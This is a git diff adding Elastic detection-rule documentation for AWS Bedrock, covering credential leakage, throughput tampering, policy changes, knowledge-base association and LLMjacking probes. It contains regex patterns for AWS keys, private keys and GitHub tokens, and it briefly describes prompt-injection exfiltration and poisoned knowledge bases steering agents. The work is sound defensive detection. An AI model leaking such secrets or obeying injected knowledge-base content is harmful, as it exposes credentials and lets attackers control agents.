https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc new file mode 100644 index 0000000000..6bcd048e81 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-model-prompt-or-completion-containing-credentials.asciidoc @@ -0,0 +1,126 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-model-prompt-or-completion-containing-credentials]] +=== AWS Bedrock Model Prompt or Completion Containing Credentials + +Identifies an Amazon Bedrock model invocation whose prompt or completion contains an AWS access key identifier (AKIA long-term or ASIA temporary/STS, followed by 16 characters), an Amazon Bedrock API key (ABSK bearer token), or a PEM private-key block. Credentials in the model input mean an application or user is sending secrets to the model, exposing them to invocation logging, the model provider, and prompt history; credentials in the model output mean the model is emitting secrets, which can result from training-data leakage, poisoned context, or a prompt-injection-driven exfiltration attempt. Either case is a credential-exposure event that warrants immediate rotation of the affected secret. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.beyondtrust.com/blog/entry/aws-bedrock-security-guide-api-keys-detection-response + +*Tags*: + +* Domain: LLM +* Data Source: AWS Bedrock +* Data Source: Amazon Web Services +* Use Case: Threat Detection +* Mitre Atlas: LLM06 +* Resources: Investigation Guide +* Tactic: Credential Access +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: ES|QL +* Platform: AWS +* Domain: Cloud +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Model Prompt or Completion Containing Credentials* + + +Bedrock model invocation logging records the full request and response of each InvokeModel/Converse call. This rule scans the decoded prompt and completion for live-credential patterns: AWS access key IDs (AKIA/ASIA followed by 16 characters) and PEM private-key headers. A credential in the prompt indicates secrets are being sent to the model (and persisted in logs and, for hosted models, to the provider); a credential in the completion indicates the model returned a secret, which is a sign of training-data or context leakage or a successful prompt-injection exfiltration. + + +*Possible investigation steps* + + +- Review the matched value in "gen_ai.prompt" and "gen_ai.completion" and confirm whether it is a live credential or an example/placeholder. +- Identify the caller in "user.id" and the model in "aws_bedrock.invocation.model_id", and determine which application generated the invocation. +- If the credential is in the completion, review the prompt for injection or data-exfiltration instructions and check the model's knowledge base or context sources. +- Determine the scope and privileges of the exposed credential to gauge impact. + + +*False positive analysis* + + +- Example or documentation keys (such as the AWS EXAMPLE key) match the pattern. Confirm the value is a real credential before escalating. + + +*Response and remediation* + + +- If the credential is live, rotate or deactivate it immediately and review CloudTrail for any use of it. +- Identify and fix the application path that placed the credential into the prompt, and add input/output filtering (such as a Bedrock guardrail with a sensitive-information policy) to prevent recurrence. + + +==== Setup + + +This rule requires Amazon Bedrock model invocation logs ingested via the Elastic AWS Bedrock integration, with text data delivery enabled in the Bedrock model-invocation-logging configuration. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws_bedrock.invocation-* metadata _id, _version, _index +| where event.action in ("ConverseStream", "Converse") AND + ( gen_ai.prompt rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.completion rlike """.*(AKIA|ASIA)[A-Z0-9]{16}.*""" + or gen_ai.prompt rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.completion rlike """.*-----BEGIN [A-Z ]*PRIVATE KEY-----.*""" + or gen_ai.prompt rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.completion rlike """.*ABSK[A-Za-z0-9+/=]{20}.*""" + or gen_ai.prompt rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.completion rlike """.*gh[pousr]_[A-Za-z0-9]{36}.*""" + or gen_ai.prompt rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.completion rlike """.*github_pat_[A-Za-z0-9_]+.*""" + or gen_ai.prompt rlike """.*glpat-[A-Za-z0-9_\\-]+.*""" + or gen_ai.completion rlike """.*glpat-[A-Za-z0-9_\\-]+.*""") +| keep _id, _version, _index, @timestamp, gen_ai.*, aws_bedrock.*, user.*, cloud.*, event.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-provisioned-model-throughput-tampering.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-provisioned-model-throughput-tampering.asciidoc new file mode 100644 index 0000000000..a77b34371c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-provisioned-model-throughput-tampering.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-provisioned-model-throughput-tampering]] +=== AWS Bedrock Provisioned Model Throughput Tampering + +Detects creation, modification, or deletion of AWS Bedrock Provisioned Model Throughput via the CreateProvisionedModelThroughput, UpdateProvisionedModelThroughput, and DeleteProvisionedModelThroughput APIs. Provisioned Throughput reserves dedicated, billed model capacity for Amazon Bedrock. An adversary who scales this capacity up can drive large, unauthorized cost (cloud resource/bill hijacking), while deleting reserved throughput can cause denial of service to production workloads that depend on that committed capacity. These control-plane changes should be validated against approved capacity-planning and change-management processes. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/prov-throughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateProvisionedModelThroughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteProvisionedModelThroughput.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_UpdateProvisionedModelThroughput.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Impact +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Provisioned Model Throughput Tampering* + + +Amazon Bedrock Provisioned Throughput reserves dedicated, billed model capacity for foundation models. +Because this capacity is committed and metered, adversaries can abuse it in two ways: scaling capacity up to +incur large, unauthorized cloud spend (resource/bill hijacking), or deleting reserved throughput to deny +service to production workloads that rely on committed capacity. This rule identifies +`CreateProvisionedModelThroughput`, `UpdateProvisionedModelThroughput`, and `DeleteProvisionedModelThroughput` +calls so responders can confirm whether the change was authorized. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether the identity is an approved administrator, ML/platform engineer, or automation role. + - Confirm a corresponding change request or capacity-planning ticket exists. +- **Validate the request details** + - Inspect `aws.cloudtrail.request_parameters` and `aws.cloudtrail.response_elements` for the model ID, + commitment duration, and requested model units. Unusually large model-unit counts or long commitment + terms on a Create/Update may indicate cost-driven abuse. + - For `DeleteProvisionedModelThroughput`, identify which provisioned model was removed and whether any + production workload depended on it. +- **Correlate activity** + - Review other Bedrock control-plane actions (e.g., model invocation logging changes, guardrail changes) + and IAM/STS activity from the same identity around the same time. + - Check `cloud.account.id` and `cloud.region` for whether the activity occurred in an expected account/region. + + +*False positive analysis* + + +- **Capacity planning**: Platform, ML, or FinOps teams may legitimately create, update, or delete provisioned + throughput. Validate against change tickets and standard capacity-management procedures. +- **Automation**: IaC or deployment pipelines may manage provisioned throughput on bootstrap or teardown. + Confirm the source IP and ARN match expected automation infrastructure. + + +*Response and remediation* + + +- If unauthorized, immediately disable the offending access key or role and revert the change (delete + unauthorized provisioned throughput, or recreate deleted reserved capacity required by production). +- Review billing and Cost Explorer for unexpected Bedrock provisioned-throughput charges. +- Audit the actor's recent activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:CreateProvisionedModelThroughput`, `bedrock:UpdateProvisionedModelThroughput`, and + `bedrock:DeleteProvisionedModelThroughput` to a small set of administrative roles and enforce approval + workflows and budget alarms. + + +*Additional information* + + +- **https://docs.aws.amazon.com/bedrock/latest/userguide/prov-throughput.html[Amazon Bedrock Provisioned Throughput]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ( + "CreateProvisionedModelThroughput" or + "UpdateProvisionedModelThroughput" or + "DeleteProvisionedModelThroughput" + ) and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Resource Hijacking +** ID: T1496 +** Reference URL: https://attack.mitre.org/techniques/T1496/ +* Sub-technique: +** Name: Cloud Service Hijacking +** ID: T1496.004 +** Reference URL: https://attack.mitre.org/techniques/T1496/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc new file mode 100644 index 0000000000..1f0a4542cb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-resource-based-policy-modified-or-deleted.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-resource-based-policy-modified-or-deleted]] +=== AWS Bedrock Resource-Based Policy Modified or Deleted + +Detects modification or deletion of resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. An adversary may attach a resource policy granting an external or unexpected principal access to a Bedrock resource to establish persistence or enable cross-account access, or may delete an existing policy to weaken access controls. These changes should be validated for principal ownership and least-privilege intent. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutResourcePolicy.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteResourcePolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Resource-Based Policy Modified or Deleted* + + +AWS Bedrock resource-based policies control which principals can access Bedrock resources such as agents, +knowledge bases, and custom models. Adversaries can attach a policy that grants an external principal +access for persistence or cross-account access, or delete a policy to break existing access controls. This +rule detects successful `PutResourcePolicy` and `DeleteResourcePolicy` calls against the Bedrock control +plane. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Confirm the identity is expected to manage Bedrock resource policies and that a related change request + exists. +- **Validate the policy change** + - For `PutResourcePolicy`, inspect `aws.cloudtrail.request_parameters` and + `aws.cloudtrail.flattened.request_parameters` for the target resource ARN and the policy document. + Look for `Principal` values referencing external AWS account IDs, `"*"`, or unfamiliar roles. + - For `DeleteResourcePolicy`, determine which resource lost its policy and whether that resource should + have remained restricted. +- **Correlate activity** + - Look for related Bedrock actions (model invocation, agent updates, knowledge base access) from the same + identity or the newly granted principal. + - Check for prior enumeration of Bedrock resources or other recent IAM/resource-policy changes. + + +*False positive analysis* + + +- **Planned access management**: Legitimate sharing or onboarding may add or remove resource policies. + Validate against change tickets and standard templates. +- **Automation**: IaC or platform pipelines may set or remove resource policies during deployment. Confirm + the actor matches known automation infrastructure. + + +*Response and remediation* + + +- If the change is unauthorized, revert the resource policy to its approved state and remove any external + or overly permissive principals. +- Disable or rotate the credentials in `aws.cloudtrail.user_identity.access_key_id` if compromise is + suspected. +- Review all Bedrock and IAM activity from the same identity in the surrounding time window for further + access grants or persistence. +- Restrict `bedrock:PutResourcePolicy` and `bedrock:DeleteResourcePolicy` to administrative roles and + enforce least-privilege resource policies. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("PutResourcePolicy" or "DeleteResourcePolicy") and + event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc new file mode 100644 index 0000000000..4d9207e0b2 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-third-party-or-external-knowledge-base-associated-to-agent]] +=== AWS Bedrock Third-Party or External Knowledge Base Associated to Agent + +Detects when an Amazon Bedrock agent is associated with, or updated to use, a knowledge base via the AssociateAgentKnowledgeBase, or UpdateAgentKnowledgeBase API actions. Bedrock agents consume knowledge base (RAG) content as trusted context for the model. By wiring an agent to an externally controlled or third-party knowledge base, or by swapping in an attacker-controlled knowledge base, an adversary can redraw the agent's trust boundary toward an untrusted source. This is a software-supply-chain compromise and an indirect prompt-injection delivery vector: poisoned or adversarial content served from the associated knowledge base is treated as authoritative by the agent. Validate that the associated knowledge base, and any underlying data source, is owned and controlled by your organization. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/userguide/agents.html +* https://docs.aws.amazon.com/bedrock/latest/userguide/knowledge-base.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: Amazon Web Services +* Data Source: AWS +* Data Source: AWS CloudTrail +* Use Case: Threat Detection +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Third-Party or External Knowledge Base Associated to Agent* + + +Amazon Bedrock agents use knowledge bases to retrieve content that is injected into the model's context as +trusted, authoritative information (Retrieval-Augmented Generation). The `AssociateAgentKnowledgeBase`, and +`UpdateAgentKnowledgeBase` actions change which knowledge base an agent trusts. Because the model consumes this +content as ground truth, redirecting an agent toward an externally controlled or attacker-supplied knowledge base +is a supply-chain and indirect prompt-injection delivery vector — distinct from poisoning the content of a knowledge +base the agent already trusts. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, `user_agent.original`, and `source.ip`. + - Confirm a related change request exists (RAG pipeline change, agent onboarding, model improvement work). +- **Validate the association** + - In `aws.cloudtrail.flattened.request_parameters`, identify the `agentId`, `knowledgeBaseId`, and any third-party + or external endpoint/configuration referenced. + - Confirm the knowledge base and its underlying data source are owned by your organization and not an external account. +- **Assess blast radius** + - Determine which applications or users invoke the affected agent and what sensitivity of decisions it drives. + - Check `aws.cloudtrail.flattened.response_elements` for the resulting association state. +- **Correlate activity** + - Look for preceding enumeration (`ListAgents`, `ListKnowledgeBases`, `GetAgent`) or creation of new knowledge + bases and data sources from the same identity. + + +*False positive analysis* + + +- **Planned RAG changes**: ML/platform teams routinely associate or update knowledge bases. Validate via ticket + and confirm the resource is an approved, organization-owned knowledge base. +- **Automation**: IaC or CI/CD pipelines may manage agent–knowledge base associations during deployment. + + +*Response and remediation* + + +- If unauthorized, dissociate the knowledge base from the agent and restore the approved configuration. +- Review the associated knowledge base and its data source for attacker-controlled or external content; quarantine if suspect. +- Audit the actor's recent Bedrock and IAM activity and rotate credentials if compromise is suspected. +- Restrict `bedrock:AssociateAgentKnowledgeBase`, `bedrock:UpdateAgentKnowledgeBase`, and third-party association + permissions to a small set of trusted roles. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "AssociateAgentKnowledgeBase" or + "UpdateAgentKnowledgeBase" + ) + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc new file mode 100644 index 0000000000..42c296b74f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-foundation-model-access-attempt.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-unauthorized-foundation-model-access-attempt]] +=== AWS Bedrock Unauthorized Foundation Model Access Attempt + +Identifies failed, access-denied attempts to enable account-level access to an Amazon Bedrock foundation model, either by granting a foundation-model entitlement, submitting a use case for model access, or creating a foundation-model agreement (accepting the EULA). These account-level "model access" actions unlock a foundation model so that it can subsequently be invoked. A principal that is repeatedly denied when attempting these actions may be a compromised or under-privileged identity probing for the ability to unlock expensive models (LLMjacking) or to establish a durable ability to invoke models. Unlike the companion rule that detects successful model-access grants, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though access was not granted. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutFoundationModelEntitlement.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutUseCaseForModelAccess.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_CreateFoundationModelAgreement.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Threat: LLMjacking +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Bedrock Unauthorized Foundation Model Access Attempt* + + +Amazon Bedrock exposes account-level "model access" controls that determine which foundation models a principal is allowed to invoke. Granting an entitlement (`PutFoundationModelEntitlement`), submitting a use case for model access (`PutUseCaseForModelAccess`), or creating a foundation-model agreement (`CreateFoundationModelAgreement`, which accepts the model EULA) all unlock a model for subsequent `InvokeModel`/`InvokeModelWithResponseStream` calls. + +This rule detects Bedrock control-plane calls that enable model access at the account level but were denied (`AccessDenied` / unauthorized). A denial indicates an identity attempting an action it is not permitted to perform, which is a strong signal of boundary-testing by a compromised or under-privileged principal even though no model access was granted. + + +*Possible investigation steps* + + +- Identify the principal by reviewing `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id`, and determine whether the identity has any legitimate reason to manage Bedrock model access. A denial for an identity that should never touch these APIs is more suspicious than one from an admin with a transient permission gap. +- Inspect `aws.cloudtrail.error_code` and `aws.cloudtrail.error_message` to confirm the denial reason, and review `event.action` to determine which model-access action was attempted. +- Verify the `source.ip` and `user_agent.original` of the request. An unexpected IP, geolocation, or automation user agent is suspicious. +- Confirm the `cloud.account.id` and `cloud.region` are expected for Bedrock usage in your environment. +- Correlate with recent activity from the same principal, such as new access key creation, IAM permission changes, or repeated denials across Bedrock/IAM APIs, which can indicate permission enumeration or escalation attempts. +- Determine whether the identity later succeeded on the same or related actions (e.g., after acquiring new permissions), and check for subsequent `InvokeModel`/`InvokeModelWithResponseStream` activity. + + +*False positive analysis* + + +- Newly provisioned roles/users or infrastructure-as-code pipelines running before model-access permissions are applied may generate transient denials. Validate against change-management records and known provisioning workflows. +- ML teams exploring model adoption in sandbox accounts may hit denials; confirm the account and identity context. + + +*Response and remediation* + + +- If the attempt is unexpected, treat the identity as potentially compromised: disable or rotate the credentials (`aws.cloudtrail.user_identity.access_key_id`) and review the actor's recent activity. +- Review all Bedrock and IAM activity from the same identity in the surrounding window for successful access grants, permission changes, or other persistence attempts. +- Review and constrain IAM permissions so that only approved principals can call Bedrock model-access APIs, and alert on both denied and successful calls. +- Implement preventative guardrails (SCPs, IAM conditions) to limit which principals and models can be enabled. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "bedrock.amazonaws.com" + and event.action: ( + "PutFoundationModelEntitlement" or + "PutUseCaseForModelAccess" or + "CreateFoundationModelAgreement" + ) + and event.outcome: "failure" + and aws.cloudtrail.error_code: ( + "AccessDenied" or + "AccessDeniedException" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc new file mode 100644 index 0000000000..42df7507bf --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-unauthorized-resource-based-policy-modification-attempt.asciidoc @@ -0,0 +1,141 @@ +[[prebuilt-rule-8-19-34-aws-bedrock-unauthorized-resource-based-policy-modification-attempt]] +=== AWS Bedrock Unauthorized Resource-Based Policy Modification Attempt + +Detects failed, access-denied attempts to modify or delete resource-based access policies on AWS Bedrock resources via the PutResourcePolicy and DeleteResourcePolicy API calls. Resource-based policies govern which principals (including external accounts) may access Bedrock resources such as agents, knowledge bases, and custom models. A principal that is repeatedly denied when attempting to attach or remove these policies may be a compromised or under-privileged identity probing for the ability to grant external or cross-account access, or to weaken existing access controls. Unlike the companion rule that detects successful changes, this rule surfaces the attempt itself, which is a high-signal indicator of credential boundary-testing even though no change occurred. + +*Rule type*: query + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_PutResourcePolicy.html +* https://docs.aws.amazon.com/bedrock/latest/APIReference/API_DeleteResourcePolicy.html + +*Tags*: + +* Domain: Cloud +* Domain: LLM +* Data Source: AWS +* Data Source: AWS CloudTrail +* Data Source: Amazon Web Services +* Data Source: AWS Bedrock +* Data Source: Amazon Bedrock +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence +* Noise: Unknown +* Performance: Fast +* Threat: Unauthorized AI Usage +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Domain: GenAI +* Service: AWS Bedrock + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Bedrock Unauthorized Resource-Based Policy Modification Attempt* + + +AWS Bedrock resource-based policies control which principals can access Bedrock resources such as agents, +knowledge bases, and custom models. An adversary who has compromised a credential may attempt to attach a policy +that grants an external principal access for persistence or cross-account access, or delete a policy to break +existing access controls. This rule detects `PutResourcePolicy` and `DeleteResourcePolicy` calls that were denied +(`AccessDenied` / unauthorized), which indicates an identity attempting an action it is not permitted to perform — +a strong signal of boundary-testing by a compromised or under-privileged principal even though the change did not +take effect. + + +*Possible investigation steps* + + +- **Identify the actor and context** + - Review `aws.cloudtrail.user_identity.arn`, `aws.cloudtrail.user_identity.type`, + `aws.cloudtrail.user_identity.access_key_id`, `user_agent.original`, and `source.ip`. + - Determine whether this identity has any legitimate reason to manage Bedrock resource policies. A denial for an + identity that should never touch these APIs is more suspicious than one from an admin with a transient gap. +- **Assess the attempt** + - Inspect `aws.cloudtrail.error_code` and `aws.cloudtrail.error_message` to confirm the denial reason. + - For `PutResourcePolicy`, review `aws.cloudtrail.request_parameters` and + `aws.cloudtrail.flattened.request_parameters` for the target resource ARN and the attempted policy document. + Look for `Principal` values referencing external AWS account IDs, `"*"`, or unfamiliar roles. +- **Correlate activity** + - Look for repeated denials across Bedrock or IAM APIs from the same identity, which can indicate permission + enumeration or escalation attempts. + - Check whether the identity later succeeded (e.g., after acquiring new permissions) on the same or related + resources, and review any IAM changes in the surrounding window. + + +*False positive analysis* + + +- **Permission gaps**: Newly provisioned roles/users or IaC pipelines running before policy grants are applied may + generate transient denials. Validate against change tickets and known automation. +- **Exploration in non-production**: Developers testing in sandbox accounts may hit denials. Confirm the account and + identity context. + + +*Response and remediation* + + +- If the attempt is unexpected, treat the identity as potentially compromised: disable or rotate the credentials in + `aws.cloudtrail.user_identity.access_key_id` and review the actor's recent activity. +- Review all Bedrock and IAM activity from the same identity in the surrounding time window for successful access + grants, permission changes, or other persistence attempts. +- Confirm least-privilege on `bedrock:PutResourcePolicy` and `bedrock:DeleteResourcePolicy`, and alert on both denied + and successful calls. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" and + event.provider: "bedrock.amazonaws.com" and + event.action: ("PutResourcePolicy" or "DeleteResourcePolicy") and + event.outcome: "failure" and + aws.cloudtrail.error_code: ( + "AccessDenied" or + "AccessDeniedException" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-bedrock-untrusted-model-imported-or-marketplace-endpoint-registered.asciidoc new file mode 100644 index 